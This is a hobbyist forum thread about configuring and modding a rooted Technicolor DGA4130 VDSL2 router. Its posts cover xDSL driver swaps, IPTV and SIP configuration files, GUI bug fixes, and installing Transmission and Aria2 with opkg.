i think this is related to the ability of the modem to manage 4G usb key modems. it just says that it doesn't find any device. It should disapear from your log if you disable the MOBILE tab in the GUI. Btw disable everything that you don't use (telefony, assistance, mobile, content sharing, printer, cwmp, parental control, etc...) this will make your logs more clear.

About the ping latency over 1ms, i know, i already reported that to the italian forum, there is something strange here but it is related to the Broadcom drivers...

About the LEDs, yes for the @ should be RED in bridge mode, but not the "i".
After the GUI 3.25 Ansuel added a bit of code in the file /etc/ledfw/stateMachines.lua which makes a RED "i" for me too. To fix this problem i copy the original file located at /rom/etc/ledfw/stateMachines.lua and i overwrite the te one at /etc/ledfw/stateMachines.lua
After a reboot it fixes the problem, the "i"becomes green again.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: atkinsong on December 06, 2017, 03:50:10 PM
@shdf, in a post on page 4 of this thread you mentioned that you had configured your router for IPTV, presumably via IGMP. Could you let me know what you needed to do and how you did it please?
Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 06, 2017, 04:32:18 PM
Well, it depends on how it works with your ISP.
With Orange in France we need to create 2 new interfaces in 2 different VLAN in /etc/config/network
1 interface for the Video on demand which needs a special athentication methode by sending DHCP options. Vlan ID = 838
1 interface for the TV. Vlan ID = 840

so here is what i added in my /etc/network file

config interface 'replay'
   option ifname 'ptm0.838'
   option proto 'dhcp'
   option peerdns '1'
   option broadcast '1'
   option vendorid 'sagem'
   option reqopts '1 3 42 72 121'
   option sendopts '0x4D:xxxxxxxxxxx 0x3D:xxxxxxxx'
   option mtu '1500'

config interface 'tvorange'
   option proto 'static'
   option ifname 'ptm0.840'
   option ipaddr '192.168.255.254'
   option netmask '255.255.255.255'
   option gateway '192.168.255.254'

The igmp proxy is already well configured so there is nothing to change here.

EDIT:
I forgot to say that these 2 new interfaces i created (replay and tvorange) have to be added in the firewall /etc/config/firewall in the wan zone.

config zone
   option name 'wan'
   list network 'wan'
   list network 'replay'
   list network 'tvorange'

   list network 'wan6'
   list network 'wwan'
   option input 'DROP'
   option output 'ACCEPT'
   option forward 'DROP'
   option masq '1'
   option conntrack '1'
   option mtu_fix '1'
   option wan '1'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 06, 2017, 06:49:14 PM
@shdf
Hopefully this ping stuff will/could get fixed, i feel like it's adding some unnecessary latency to the line.
To be honest, the red info LED isn't a real peoblem for me as long it's not indicating any error. Btw im using GUI 3.25 and fw 1.0.2.
I don't have the mobile tab anymore in bridge mode but if i remember right i did disable it in router mode (but i'm not 100% sure).

But there is something I would really like to know... Is there any xdsl driver that will return my old "Interleaving Depth 1/1, Path Mode: Fast/Fast", which I had before with the Vigor modem ?
The DGA4130 reports "Interleave 8/4", but i'm not even sure if this can be set by the CPE via driver but i'm quite sure that my port isn't forcing this Interleave depth.
Any advice which xdsl driver i should try ?

Beside of this the modem seems to be a great piece of hardware.
My upload speed went from 34800 up to 41000kbit/s, which is great improvement for me.
All CRC are gone as well, didn't even had one error within 16 hours...
And what i really love is the ability to monitor my line with DSL stats tool. That's really a very handy program !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 06, 2017, 07:18:09 PM
you are with firmware 1.0.2 so first of all i would recommend you to upgrade because no one is using this old firmware and everything is now developed for firmware 1.0.3 / 1.0.4
Take it from here : http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/AGTEF_1.0.3_CLOSED.rbi
And from the GUI do the update.

The xDSL driver is the same in both firmware (1.0.2/1.0.3), but you can test the one from the firmware 1.0.4 it is in my mega account :
https://mega.nz/#F!TFdF0Y4A!cI1TOh8kpw4jpTp8Q69fpQ

with winscp overvrite the file here : /etc/adsl/adsl_phy.bin
then from putty, type :
xdslctl connection --down
xdslctl stop
xdslctl start
xdslctl connection --up


In my case the driver from 1.0.3 makes a better sync.
You can also try the one from the Asus 1.10.03 wich is reported to work well by some italian users.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on December 06, 2017, 08:59:49 PM
I am using 1.03 firmware and found a problem with the VOIP. I tried to set up the VOIP on the 4130 but it would not register so have been using the modem supplied by my isp configuring an ethernet port for dsl. The connection is good and both phones work from the isp modem. However after a short time the modem loses internet for a few seconds and also the phones, it then reconnects but intermittently loses connection. Is this a sign that the latency is causing this problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 06, 2017, 09:40:51 PM
The best source for the VOIP configuration is here :
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
go to the Configure a third party SIP provider section.
i just had to edit this file a little : /etc/config/mmpbxrvsipnet
and it worked like a charm...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 06, 2017, 09:55:12 PM
@shdf
Ok, I will try to update the firmware tomorrow...
Do you still recommend gui version 3.25 or is it safe to go for the newest version ?

Btw, i've found two other driver versions which are reported to work, "Archer_VR2800v_B2pvbH042s_25.11.2016" and "DSL-AC87VG_B2pvbH042l_02.03.2016".
I can upload them if someone wants to try them out. Just let me know...

Please let us know if a newer xdsl driver becomes available or a newer firmware version that has resolved the ping/latency issue.
Thanks and best regards !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on December 06, 2017, 10:46:10 PM
fwiw I've extracted the release dates md5's of the various xdsl drivers:

B2pvfbH043g.d26m   02/03/2017 11:50:46  42E93153DB06857021FAF1DE1B320F6D  asus\dsl-ac87vg\1.00.14_build508 - 15 may 17
B2pvbH042l.d26m    03/02/2016 15:00:33  EFEE94080F1AB7E29A1C7A571A6C8488  asus\dsl-ac87vg\B2pvbH042l_02.03.2016
A2pvbH042j2.d26m   01/13/2016 14:08:30  453DC537D3CBD6F45657C9EB8BA2EB40  asus\dsl-ac88u\1.10.03_build398 - 21 jul 17
A2pvbH042n.d26m    04/28/2016 23:13:14  9086CC14D865B8EC090345545425BA40  netgear\d7000 v1\1.0.1.50
A2pvbH042r.d26m    09/30/2016 20:01:16  DB76CA2F5015DD17504F1C658373E0AA  technocolor\dga4130\1.0.3 and 1.0.2
A2pvbH042u.d26m    03/26/2017 18:15:19  BCFAED886A6DFD6CD2A0BE2AC4E3823C  technocolor\dga4130\1.0.4
A2pvfbH043k.d26m   08/31/2017 12:23:42  5988D3C56B0FEE3CE0C3843CDA4358B1  technocolor\dga4130\1.1.0_001
B2pvbH042s.d26m    11/25/2016 11:27:01  2A44B0DD6C0B24C29F8EA1AAB10D60F0  tp-link\archer vr2800 v1\B2pvbH042s_25.11.2016

These may crash/hang the router with firmware 1.0.3:
A2pvfbH043k.d26m   08/31/2017 12:23:42  5988D3C56B0FEE3CE0C3843CDA4358B1  asus\dsl-ac88u\1.10.04_build460 - 16 nov 17
A2pvfbH043g.d26m   02/03/2017 11:44:27  FBAADE8F05CAD074403B693FEDC9A2B8  fritzbox\7581\6.85
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 06, 2017, 11:10:18 PM
@Ozymandias, thanks !
I would love to try A2pvfbH043k.d26m if it's compatible with firmware 1.0.3...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 07, 2017, 07:15:23 AM
@Lil-Koby
The Problem with the GUI is that each new version is supposed to fix some bugs, but it creates antoher bugs which were not present in the previous versions...
Actualy i would say that 3.25 is Good, 3.36 has an annoying bug reported here:
https://www.ilpuntotecnicoeadsl.com/forum/index.php?topic=77878.msg225258#msg225258
but once you manualy fix the bug everything seems to be OK.

About the xdsl driver A2pvfbH043k.d26m, someone replaced only the driver file adsl_phy.bin and the modem went in a bootloop. he had to reflash the firmware with TFTPD.
i'm not sure, it's just a guess, but i think you also have to replace the tools controling the driver like xdslctl to get it working.

Well looks like Technicolor and Asus are now using the same Driver A2pvfbH043k.d26m...

the changelog related to the dsl part on asus website is :
- Include G.fast capability in Auto-Sync mode for DSL modulation.
- xDSL Datapump updated: Combo version A2pvfbH043k. Fixed various xDSL issues.
- xDSL Driver updated: A2x026r. Fixed various xDSL issues.
- System Log > DSL Log, display FEC counter.
- System Log > DSL Log, display VDSL band status under VDSL mode.
- System Log > DSL Log, display System Vendor ID/ System Vendor Model ID/ Modem Vendor ID.
- Fixed G.INP/ G.Vectoring DSL Modulation display issue.
- VDSL Profile excludes 30a from Multi mode as there could be issue against legacy DSLAMs(especially with non-BRCM CO) if 30a is enabled by default. 35b will be included in Multi mode in next release.
- Add mutex lock for DSL status file.
- Correct DSL Log > Path mode output.

Edit:
Maybe the start/stop script /etc/init.d/xdsl has to be related to the Driver version. if you watch inside there are a lot of parameters sets.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on December 07, 2017, 03:28:47 PM
The best source for the VOIP configuration is here :
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
go to the Configure a third party SIP provider section.
i just had to edit this file a little : /etc/config/mmpbxrvsipnet
and it worked like a charm...

Thanks I had read the item on the link previously but could not get the line to register. I will experiment further tomorrow.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 07, 2017, 08:34:37 PM
I'm on 3.9, which firmware should I change to? Will this give better VDSL performance?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 07, 2017, 10:53:55 PM
3.9 refers to the GUI, not the modem firmware. Changing it doesn't affect your DSL performance at all, and now you have 3.9 you can safely upgrade the GUI while the modem is connected to the internet. I suggest version 3.25. Version 3.36 is the latest, but it has a bug which may result in loss of DNS. This can be fixed with a little mild hacking.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 07, 2017, 11:24:49 PM
3.9 refers to the GUI, not the modem firmware. Changing it doesn't affect your DSL performance at all, and now you have 3.9 you can safely upgrade the GUI while the modem is connected to the internet. I suggest version 3.25. Version 3.36 is the latest, but it has a bug which may result in loss of DNS. This can be fixed with a little mild hacking.


So how do I improve the DSL performance as my understanding is there's a newer DSL driver?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 08, 2017, 07:18:42 AM
Do not expect any better performance, it's only about bug fixes and some new features.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 08, 2017, 07:39:07 AM
With GUI 3.9 installed you already have a more recent modem driver. I don't believe that you can safely upgrade this further. This was discussed recently in this thread.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 08, 2017, 02:56:59 PM
Ah I see. I am also bemused, as 3.25 is a lower number than 3.9 so the firmware is older?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 08, 2017, 03:46:04 PM
These aren't decimal numbers, even though they look like it. The conventional way of numbering software versions is to have two or more numbers separated by dots. The first number is the major version, the second is the minor version, and there may be further numbers representing build numbers or revision numbers, etc.

So 3.25 is major version 3, minor version 25, so it's later than 3.9.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 08, 2017, 04:04:44 PM
These aren't decimal numbers, even though they look like it. The conventional way of numbering software versions is to have two or more numbers separated by dots. The first number is the major version, the second is the minor version, and there may be further numbers representing build numbers or revision numbers, etc.

So 3.25 is major version 3, minor version 25, so it's later than 3.9.

You've lost me I'm afraid.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on December 08, 2017, 04:08:48 PM
25 is a bigger number than 9

So if....
3.9 is released
then
3.10 is released
then
3.11 is released

so 3.9 is older than 3.25
understand?

edit: oops
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 08, 2017, 04:24:47 PM
25 is a bigger number than 9

So if....
3.9 is released
then
3.10 is released
then
3.11 is released

so 3.9 is newer than 3.25
understand?

Well no I don't because roseway above said the opposite!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 08, 2017, 04:56:41 PM
I think j0hn made a typo, and meant that 3.9 is earlier than 3.25. Just take note of the sequence 3.9, 3.10, 3.11, 3.12....3.24, 3.25, 3.26....
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 08, 2017, 05:15:30 PM
I think of it as 3.09  not 3.9

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on December 08, 2017, 06:01:31 PM
I think j0hn made a typo, and meant that 3.9 is earlier than 3.25
I did indeed.
I think of it as 3.09  not 3.9
This is how I think of it, but thought I would confuse the matter. Then I wrote the opposite of what I meant to anyway  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on December 08, 2017, 08:33:15 PM
The best source for the VOIP configuration is here :
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
go to the Configure a third party SIP provider section.
i just had to edit this file a little : /etc/config/mmpbxrvsipnet
and it worked like a charm...

By edit do you mean you just telnet this to the 4130

I have tried various ways of inputing into the phone number area for the sips set up. Which is the correct way. For example the page shows.

First field is username so tried +******@****.****.net (AS my username appears in my isp provided modem.

Second field is URL so tries ****.****.net also tried phone number in there.

Third field is password which I know is correct as I had to obtain it from my isp and input into their modem. This also shows in the first page of the telephone tab accessed from the Gui.

I am probably missing something could you clarify what information goes in what field also on the first page it shows I think from memory a field with primary registration and then port 5060 (I believe this is correct for my isp) so should something be typed into that field.

Thanks for any help you can offer would like to get this working as it syncs much better than my present modem, also shame it keeps dropping the line when I have it connected via the ethernet port as that is asimple solution.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 08, 2017, 09:31:03 PM
i use Winscp to get the file from the modem, edit it with notepad++, and send it back to its place with winscp.

All i had to do is to follow the instruction in the link. But maybe things vary with some ISP.

My SIP parameters are (i changed some numbers  ;D ):
  Phone number : 0033448150311
  Login / User name       : 0033448150311
  Password            : xxxxxxxx
  Authorization user name : 0033448150311
  Domain / Registrar      : sip3.ovh.fr

As you can see the phone number, the username, and authorisation name are all the same so it could be confusing to know which parameter you have to insert...Anyway i hope it could help you a bit.

This is my configuration file /etc/config/mmpbxrvsipnet.
--------------------------------------------

config mmpbxrvsipnet 'global'
   option trace_level '2'
   option radvision_trace_level '0'

config syslog 'syslog'
   option registration '1'
   option call_signalling '1'
   option syslog_priority '6'
   option hide_user_identity '0'

config network 'sip_net'
   option user_friendly_name 'SIP network'
   option cac '-1'
   option transparent_soc_transmission '0'
   option interface 'wan'
   option local_port '5060'
   option domain_name 'sip3.ovh.fr'
   option primary_registrar_port '5060'
   option secondary_proxy_port '0'
   option transport_type 'UDP'
   option reg_expire '3600'
   option reg_expire_T_before '1'
   option reg_back_off_timeout '60'
   option reg_back_off_timeout_algorithm 'fixed'
   option reg_back_off_timeout_max '900'
   option reg_back_off_timeout_min '600'
   option re_registration_mode 'ims'
   option realm 'sip3.ovh.fr'
   option realm_check '1'
   option 401_407_waiting_time '0'
   option dtmf_relay 'rfc2833'
   option dtmf_relay_translation '0'
   option timer_T1 '500'
   option timer_T2 '4000'
   option timer_T4 '5000'
   option timer_B '32000'
   option timer_D '50000'
   option timer_F '32000'
   option timer_J '32000'
   option provisional_timer '1200'
   option remote_hold_tone_enabled '0'
   option sdp_direction_call_hold 'sendonly'
   option sdp_direction_call_hold_answer 'recvonly'
   option uri_clir_format 'standard'
   option privacy_handling 'apply'
   option rejection_response '486'
   option no_answer_response '480'
   option call_waiting_provisional_response '180'
   option call_waiting_reject_response '486'
   option reliable_provisional_response 'when_supported'
   option forking_mode 'replace'
   option ingress_media_timeout '1000'
   option session_timer 'disabled'
   option min_session_expires '90'
   option session_expires '180'
   option fail_behaviour 'stop'
   option min_period_proxy_redundancy '0'
   option escape_hash '1'
   option escape_star '0'
   option control_qos_field 'dscp'
   option control_qos_value '40'
   option realtime_qos_field 'dscp'
   option realtime_qos_value '40'
   option from_anonymous_handling 'withheld'
   option sip_over_ipv6 '0'
   option rtp_local_port_min '32000'
   option rtp_local_port_max '39999'
   option user_param_value 'phone'
   option include_sip_instance '1'
   option waiting_time_for_registration_on_400_or_503_response '60'
   option hide_serial_number '0'
   option use_domain_in_contact '1'
   option use_domain_in_via '0'
   option update_support '1'
   option sdp_direction_attribute_media_level_only '1'
   option registration_delay '5'
   option enable_re_register_on_cancel_timeout '1'
   option rport_in_via '1'
   option optimized_authentication '1'
   option repeat_ringing_interval '0'
   option re_register_on_403 '0'
   option check_ttl_for_dns_record '1'
   option dns_query_timeout '5000'
   option sip_message_max_size '4096'
   option conference_release_call_after_transfer '0'
   option disconnect_on_bye_response '1'
   option cancel_invite_timer '64000'
   option early_media_detection '0'
   option user_agent 'Technicolor / VBNT-K / AGTEF_1.0.3 / AGTEF_1.0.3'
   option primary_registrar 'sip3.ovh.fr'
   option primary_proxy_port '5060'
   option primary_proxy 'sip3.ovh.fr'

config profile 'sip_profile_0'
   option network 'sip_net'
   option password 'xxxxxxxx'
   option uri '0033448150311'
   option enabled '1'
   option user_name '0033448150311'

------------------------------------------

Once the file is edited you have to type this command for the changes to take effect :
/etc/init.d/mmpbxd restart
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 09, 2017, 03:11:38 PM
3.9 refers to the GUI, not the modem firmware. Changing it doesn't affect your DSL performance at all, and now you have 3.9 you can safely upgrade the GUI while the modem is connected to the internet. I suggest version 3.25. Version 3.36 is the latest, but it has a bug which may result in loss of DNS. This can be fixed with a little mild hacking.

I am not having much luck with this device; unloacked Okay, installed 3.25 (the setup wiz would not start), installed 3.36 and now have the DNS problem.

what hacking do I have to do to fix this?

I did try editing the /tmp/resolv.conf but on restarting dnsmasq it rewrites the file.

Thanks in advance

Ian
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 09, 2017, 03:45:08 PM
The solution was given in the italian forum link which shdf gave above. If you put it through Google Translate it all becomes clear. But in short, you have to edit the file /etc/config/dhcp and remove the line option dhcpv4 'server' from the section config dhcp 'lan'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 09, 2017, 05:02:52 PM
when you see a strange behaviour of your modem after an update, just reboot the modem, it will save you from tearing all your hair.  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on December 09, 2017, 07:02:37 PM
Does anyone know what the difference is between the CLOSED and DUMMY versions of a given release of firmware?

e.g. AGTEF_1.0.4_CLOSED.rbi and AGTEF_1.0.4_DUMMY.rbi
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 09, 2017, 08:20:35 PM
this question was asked 50x on the italian forum, we never received an aswer...but the one to use is the one with the word CLOSED.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 09, 2017, 08:24:24 PM
you have to edit the file /etc/config/dhcp

Thanks, missed that, DHCP currently off and no sign of this line in my /etc/config/dhcp file, will try again in a few days, when I next connect it and turn on dhcp.


I have noticed a GUI bug, the "Internet Access" card becomes unopenable when WAN connection is set to "PPPoa" (my ADSL (g.dmt) connection)

I have confirmed this by editing /etc/config/network ... section .... config interface wan and changing "option proto" from pppoa to pppoe then it works as normal again.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on December 09, 2017, 10:56:24 PM
Thanks shdf. I was worried the that I was being stupid and the answer obvious so hesitated asking :). 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 10, 2017, 10:33:51 AM
A few days ago i flashed the firmware 1.0.4, no problem found.
Yesterday i installed the latest GUI 4.5.x and everything seems to be OK too. You can safely update the GUI from the GUI. No reboot required.
If at the end of the process you see an nginx error 500 displayed, don't panic, just open putty and type these 2 commands:
/etc/init.d/transformer restart
/etc/init.d/nginx restart


And voilà  :)

There are some improvements and new features coming from the Latest Firmware 1.1.0_001
The GUI 4.5.x was tested on firmware 1.0.3 and 1.0.4

At the moment with the version 4.5.10 i don't see any particular bug.

PS:
now you can change the GUI color from the "system extra" tile, there is a GUI skin section.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 10, 2017, 11:11:47 AM
@shdf is there still a risk going to 1.0.4 that you may lose root if you have to factory reset or can this be mitigated?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 10, 2017, 11:32:47 AM
there is no risk if you are on bank 1 active
it's the only thing that you have to worry. You can see this from the GUI or from putty with the command :
cat /proc/banktable/active
if the result is bank_1 then everything should work.

i made several tests, i flashed 1.0.4 and i flashed back 1.0.3 and flashed again 1.0.4, i was all the time on bank_1 active so i think the process is "fool proof" :) I recommend flashing the firmware from the GUI, that's what i did.
Don't forget that upgrading the firmware will cancel your settings, so make a copy of your /etc/config/ before, it will be easier to reconfigure after.

But if you're afraid you can stay with the firmware 1.0.3 and use the latest GUI. At our level there is no difference between both firmware, all the improvement/bug fixes/new features etc...are coming from the GUI. So if you don't want to take the risk to upgrade you will not miss anything.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 10, 2017, 12:05:22 PM
@shdf can you report the bug above; I too have upgraded to DGA4130 Firmware 1.0.4 Webui 4.5.10; but still get the pppoa error; and have done in all GUI and both firmware.

http://forum.kitz.co.uk/index.php/topic,20343.msg360304.html#msg360304 (http://forum.kitz.co.uk/index.php/topic,20343.msg360304.html#msg360304)

I have tried posting on the Italian forum but have given up after about 1 hour, verification and translation is a pain.

Ian
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 10, 2017, 01:11:05 PM
Ok i reported the bug  :)
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.msg225840.html#msg225840
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 10, 2017, 04:32:44 PM
For those who want to register in the italian forum www.ilpuntotecnicoeadsl.com :
You can send an email here info@ilpuntotecnicoeadsl.com saying that you're a kitz.co.uk forum member and would like an invitation to their forum. This will bypass the captcha questions.  :)

Edit:
the admin from the italian forum told me :
Quote
we have modified the applications for registration in the forum. Now they are simpler and always in Italian / English version.
You can have your friends registered;)

So you should be able to register now.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 10, 2017, 06:22:52 PM
Thank you for that, shdf.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 10, 2017, 06:35:42 PM
Yes answering those questions took me quite a few attempts!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 10, 2017, 07:35:36 PM
Thanks for the bug report....wil try a first post in the introductions sub-forum. :) :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 10, 2017, 09:55:59 PM
Now the Transmission tutorial here : http://forum.kitz.co.uk/index.php/topic,20343.msg356335.html#msg356335
must be replaced with this :

you can install the bittorrent client Transmission with opkg, just type these commands in putty :

opkg install libevent2
opkg install transmission-daemon
opkg install transmission-web


once done, go to /etc/config/transmission
set option enabled 1
Add your usb key path in download_dir : "/mnt/usb/USB-A1/" or "/mnt/usb/USB-A2/" depending which port you used.
example:
option download_dir '/mnt/usb/USB-A1/done'
option incomplete_dir '/mnt/usb/USB-A1/incomplete'


To start/stop/restart transmission : /etc/init.d/transmission restart/stop/restart

To access the transmission web interface : http://192.168.1.1:9091

 :)


Also in the Aria2 tutorial : http://forum.kitz.co.uk/index.php/topic,20343.msg356456.html#msg356456
Replace :
Packages installation :
opkg install http://brcm63xx-tch.ddns.net/base/libstdcpp_4.8-linaro-1_brcm63xx-tch.ipk
opkg install http://brcm63xx-tch.ddns.net/packages/aria2_1.18.7-1_brcm63xx-tch.ipk


With :
Packages installation :
opkg install libstdcpp
opkg install aria2

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on December 11, 2017, 06:26:45 PM
I seem to have lost the unencrypted feature of the exported configuration file (gateway > export configuration)

When I unlocked the router I selected "Importa e esporta conf in chiaro" = Import/export configuration files unencrypted. 

I suspect when I upgraded the firmware to 1.0.4 the unencrypted configuration file (config.bin) feature was lost.

Is there any way of getting the feature back?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 11, 2017, 07:32:30 PM
yes, in /etc/config/system set everything to '1'

config config 'config'
   option export_plaintext '1'
   option export_unsigned '1'
   option import_plaintext '1'
   option import_unsigned '1'
   option rooted '1'

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on December 11, 2017, 07:34:18 PM
Thanks @shdf
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 12, 2017, 01:25:54 AM
Did a upgrade to 1.0.3, still using GUI 3.25 and tested the Asus 1.10.03 and archer vr2800 v1(B2pvbH042s) xdsl driver.
But for me there is no difference in syncrate and still Interleaving depth 8/4.
Does anyone have the new A2pvfbH043k.d26m (1.1.0_001) driver with 1.0.3/1.0.4 running?

Do i need to delete /overlay/bank2 before upgrading to fw 1.0.4 or better stay at 1.0.3 when only need bridge mode running ?
I just want to disable as many things as possible and I would like to use/test the latest xdsl driver...  :-[
Quote
root@VDSL_bridge:~# cat /proc/banktable/active
bank_1


I have also downloaded my current config and noticed a few things...
Quote
[mobiled]
mobiled.device_defaults=device_defaults
mobiled.device_defaults.radio_pref='lte'
mobiled.device_defaults.enabled='0'
mobiled.platform=platform
mobiled.platform.power_on='1'
Could this be related to log message [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check ?
I dont need the mobile part and disabled it in router mode before switched to bridge mode but the log message is still there...

Quote
[power]
power.ethernet=ethernet
power.ethernet.ethapd='1'
power.ethernet.autogreeen='1'
power.ethernet.eee='1'
power.cpu=cpu
power.cpu.cpuspeed='256'
power.cpu.wait='1'
Could these settings be related to the latency/ping problem ?

Quote
[ledfw]
ledfw.internet=service
ledfw.internet.check='1'
ledfw.iptv=service
ledfw.iptv.check='0'
ledfw.iptv.itf='iptv'
ledfw.voip=service
ledfw.voip.check='1'
ledfw.timeout=timeout
ledfw.timeout.ms='0'
Could this be related to the red LED problem in bridge mode ?

Quote
[mcastsnooping]
mcastsnooping.lan=interface
mcastsnooping.lan.mld_snooping='0'
mcastsnooping.lan.mcast_flooding='1'
mcastsnooping.lan.igmp_snooping='1'
Do i need igmp_snooping and mcast_flooding enabled in bridge mode ?

Quote
[igmpproxy]
igmpproxy.globals.state='1'
Igmp proxy should be completely disabled in bridge mode... I allready used /etc/init.d/igmpproxy stop + /etc/init.d/igmpproxy disable

Quote
[minidlna]
minidlna.config.enabled='1'
minidlna.config.inotify='1'
Does this mean minidlna is enabled ? I really don't need it in bridge mode...


Sorry for so many questions at once...
Best regards !!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: dazzsser on December 12, 2017, 02:27:21 AM
25>9 so 3.25 > 3.9
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 12, 2017, 08:20:39 AM
@Lil-Koby
Don't try to change the dsl driver to the newest A2pvfbH043k.d26m with a 1.02/3/4 firmware, for this version i think there are more files to change than the only adsl_phy.bin.
if you just change this file the the modem will crash and go in a boot loop. Some users have tested already...

you don't have to delete /overlay/bank2, just do the upgrade form the GUI, everything is well managed.

About the [mobiled] I did not look into the problem, so i don't know...Maybe Ansuel can answer about that.

About the power.cpu and power.ethernet, it's only about energy saving, the CPU speed and ethernet activity can be reduced when idle.

About minidlna yes you can disable it.

For other questions i don't know...

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 12, 2017, 09:42:29 AM
Thanks as always shdf !

Just made a GUI upgrade to 4.6 and registered myself at ilpuntotecnicoesadsl.com to report some bugs.

I think at least the LED part should be changed for bridge mode to get a green info LED.
Dont know if ledfw.internet.check=1 means DSL or general IP/Internet connection but the voip check should defently be disabled in bridge mode.
It just doesn't make sense to check for voip in bridge mode...  ;)

I will try to change the configuration and let you know if it's working.
We can all help Ansuel to fix bugs and make some improvements...

Btw, I also tried the 1.0.4 xdsl driver and made an interesting discovery, the first 4-6 minutes after sync I get very low ping times (Like interleave depth 1!) but after that a change occurs.
The modem/driver still reports 8/4 but i can see it over the ping times. (4-5ms to the first hop, ~8ms after a few mins)
Same problem happened with my old modem (Vigor 130, Lantiq chipset) so i guess the Software/Driver Version of the (broadcom) Linecard is a bit buggy but it could also be the BRAS server, i'm not sure. Could also be the combination of xdsl driver and DSLAM/Linecard driver version.
It's very odd...  :-\ :no:

Best regards !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 15, 2017, 11:40:44 AM
This device is useless to me, it may be great if your on VDSL (PPPoE) but as I am on ADSL (PPPoA) it will not "pass" DNS queries, OK for laptops and desktops, where I can set custom DNS entries,  not phones and tablets.

I also tried on ethernet WAN (PPPoE to my modem) that also gave DNS problems.

May have to wait for my fibre CAB.......maybe next year!!

Ian
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 15, 2017, 01:28:40 PM
@kitzuser, Sorry to hear that...
